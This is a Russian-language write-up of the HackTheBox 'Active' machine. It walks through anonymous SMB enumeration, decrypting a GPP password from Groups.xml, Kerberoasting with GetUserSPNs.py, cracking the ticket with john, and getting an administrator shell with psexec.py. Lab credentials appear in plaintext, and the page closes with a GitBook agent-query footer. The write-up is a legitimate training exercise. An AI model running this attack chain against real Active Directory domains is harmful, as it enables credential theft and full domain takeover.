> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md). # Разбор Active на HackTheBox {% embed url="" %} {% hint style="warning" %} **Навыки**: * Перечисление SMB * Взлом ZIP-файла, защищённого паролем (fcrackzip) * Взлом и чтение файла .PFX (crackpkcs12) * Получение SSL-доступа с помощью Evil-WinRM * Утечка информации — чтение истории Powershell пользователя (поворот через пользователя) * Использование LAPS для получения паролей (Get-LAPSPasswords.ps1) (повышение привилегий) {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:**/ Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts ```

**Анализ открытых портов с помощью extractport:**/ Использование функции extractport для краткого отображения открытых портов и копирования их в буфер обмена.

**Сканирование версий портов с помощью Nmap:**/ Используйте Nmap для сканирования версий служб и сохранения вывода в файл "targeted": ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted ```

## **Перечисление и эксплуатация:** ### **SMB-перечисление:** Используйте crackmapexec, чтобы перечислить системы и найти имя домена. ```bash crackmapexec smb 10.10.10.100 ```

#### **Корректировка времени с помощью NTP:** Настройте время на целевой машине, чтобы избежать проблем ```bash ntpdate 10.10.10.100 ```

#### Настройка /etc/hosts: Контроллер домена добавлен в файл hosts, чтобы позволить ping:

### **Перечисление общих ресурсов** Используйте smbclient или smbmap для изучения общих ресурсов в сети. ```bash smbclient -L 10.10.10.100 -N ```

```bash smbmap -H 10.10.10.100 ```

### **Поиск конкретных файлов**: Изучайте каталоги в поисках нужных файлов ```bash smbmap -H 10.10.10.100 -r Replication ```

```bash smbmap -H 10.10.10.100 -r Replication/active.htb ```

У `groups.xml` обнаружен файл, который может содержать конфиденциальную информацию. ```bash smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml ```

### **Расшифровка пароля:** Используйте `gpp-decrypt` для расшифровки сохранённых паролей. ```bash gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' ```

### **Проверка идентификатора:** Используйте crackmapexec, чтобы проверить, действительны ли ID ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' ```

### **Изучение прав доступа:** Используйте crackmapexec и smbmap для изучения прав доступа к сетевым общим ресурсам. ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares ```

### Флаг user.txt получен: ```bash smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users ```

### **Вход на контроллер домена:** Использование rpcclient для подключения к контроллеру домена и изучения пользователей и групп: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 ```

#### - Чтобы определить членов группы администраторов: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200' ``` #### - Чтобы получить пользователей в определённой группе: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4' ```

#### - Чтобы вывести описания всех пользователей: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo' ```

## Уязвимость [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast): Уязвимость Kerberoast успешно эксплуатируется с помощью следующей команды: ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 ``` Эта команда восстанавливает служебный билет Grant-Ticketing Service (TGS), который использует уязвимость. Затем, чтобы получить хеш администратора, к команде добавляется параметр -request: ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request ```

## **Финальная эксплуатация:** ### **Взлом хэша:** Используйте John, чтобы попытаться взломать полученные хеши. ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

### **Проверка идентификатора:** Используйте crackmapexec для проверки полученных учётных данных ```bash crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968' ```

### **Запуск Psexec:** Используйте psexec.py, чтобы получить интерактивную оболочку от имени администратора. ```bash psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe ```

### **Получен финальный флаг:** Финальный флаг успешно получен после получения доступа администратора.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.